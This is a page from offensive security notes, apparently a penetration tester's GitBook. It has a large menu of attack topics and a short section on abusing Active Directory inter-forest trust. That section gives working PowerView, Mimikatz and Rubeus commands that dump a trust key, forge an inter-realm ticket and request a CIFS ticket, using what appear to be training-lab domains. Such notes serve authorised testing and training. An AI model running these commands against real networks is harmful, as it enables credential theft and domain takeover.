RFC - Offensive Security Notes
  • Active Directory
    • Enumeration
      • Active Directory Module
        • Enumerating the Domain
        • Enumerating ACLs
      • PowerView 3.0
      • Verify connectivity to domain controller
      • WMI domain enumeration through root\directory\ldap
      • PAM Trust
      • DNS discovery
        • Get-DnsServerZone
    • Privilege Escalation
      • Kerberos Delegation
        • Unconstrained delegation
        • Constrained delegation
        • Resource-based Constrained Delegation
      • Escalating from child to parent domain
      • Abusing inter-forest trust
      • WSUS server abuse
      • ACL Enumeration with PowerView 2.0
    • Persistence
      • Kerberos attacks
        • Golden ticket
        • Silver ticket
      • DSRM (Directory Services Restore Mode)
  • Initial Access
    • VBA Macros
      • Mark-of-the-Web
  • Discovery
    • Juicy files
      • PowerShell history
    • Network Enumeration
      • Network discovery scans
        • Ping scan
      • Nmap
      • Perimeter firewall scanning for open outbound ports
  • Execution
    • WMI
      • Remote code execution using WMI
    • PowerShell
      • C# assembly in PowerShell
        • List load assembly
        • Add-Type
        • UnsafeNativeMethods
        • DelegateType Reflection
        • Reflective Load
    • C# .Net Assembly
      • Process injection
        • Debugging
        • Using VirtualAllocEx and WriteProcessMemory
        • Using NTAPI Undocumented Functions
    • ReverseShells
      • Linux
        • Stabilizing zsh shell
    • Metasploit
      • HTTPs Meterpreter
  • Exploitation
    • Win32 APIs
      • OpenProcess
      • VirtualAllocEx
      • WriteProcessMemory
      • CreateRemoteThread
  • Credential Access
    • Microsoft Windows
      • Windows credential audit and logon types
      • Local credentials (SAM and LSA)
      • Lsass from forensics dump
      • Access Tokens
        • SeImpersonatePrivilege
      • ntds.dit
        • Dumping the contents of ntds.dit files using PowerShell
      • Mimikatz
      • LAPS
  • Lateral Movement
    • Windows Lateral Movement
      • Remote Desktop Protocol (RDP)
      • PowerShell Remoting (PS Remote)
        • Kerberos double hoping
      • Windows Task Scheduler
    • Linux Lateral Movement
  • Persistence
  • Defence Evasion
    • Antimalware Scan Interface (AMSI)
      • Debugging AMSI with Frida
      • PowerShell Bypasses
      • JS/VBA Bypasses
    • PowerShell
      • PowerShell version 2
      • Constrained Language Mode
      • Just Enough Administration (JEA)
      • ScriptBlockLogging
    • Microsoft Defender
    • Anti-virus evasion
      • Evasion and bypassing detection within C#
        • Encryptors
          • Aes encryptor
        • Sandbox evasion
          • Time accelerated checks
    • AppLocker
      • InstallUtil
      • MsBuild
  • Network Pivoting
    • Proxies and port fowarding
      • SSH
      • Metasploit
      • Socat
      • SSH Shuttle
      • Windows netsh command
    • Network discovery and scanning
  • Exfiltration
    • Windows
      • Copy files over SMB
  • Services
    • MS SQL Server
      • Enumeration
      • UNC Path Injection
      • Privilege Escalation
      • Linked Servers
      • SQL Injection
  • Misc
    • CrackMapExec
    • Cheat sheets
  • Cloud
    • Azure
      • Authentication
      • Enumeration
        • AzureHound
        • Az.Powershell
        • Microsoft Graph PowerShell
      • Initial Access
        • Device Code Phishing
        • Family-Of-Client-Ids - FOCI
        • JWT Assertion
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  1. Active Directory
  2. Privilege Escalation

Abusing inter-forest trust

Since a forest is a security boundary, we can only access domain services that have been shared with the domain we have compromised (our source domain). Use e.g. BloodHound to look for users that have an account (with the same username) in both forests and try password re-use. Additionally, we can use BloodHound or PowerView to hunt for foreign group memberships between forests. The PowerView command:

Get-DomainForeignGroupMember -domain targetdomain.com

To impersonate a user from our source domain to access services in a foreign domain, we can do the following.

Obtaining the domain trust key:

Invoke-Mimikatz -Command '"lsadump::trust /patch"'

Use Mimikatz to generate a TGT for the target domain using the trust key:

Invoke-Mimikatz -Command '"Kerberos::golden /user:Administrator /domain:dollarcorp.moneycorp.local /sid:S-1-5-21-1874506631-3219952063-538504511 /rc4:60ec884517101aaa20f0fe574dde8eda /service:krbtgt /target:eurocorp.local /ticket:trust.kirbi"'

Then, use Rubeus to ask a TGS for e.g. the CIFS service on the target DC using this TGT.

.\Rubeus.exe asktgs /ticket:trust.kirbi /service:cifs/eurocorp-dc.eurocorp.local /dc:eurocorpdc.eurocorp.local /ptt
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Last updated 2 years ago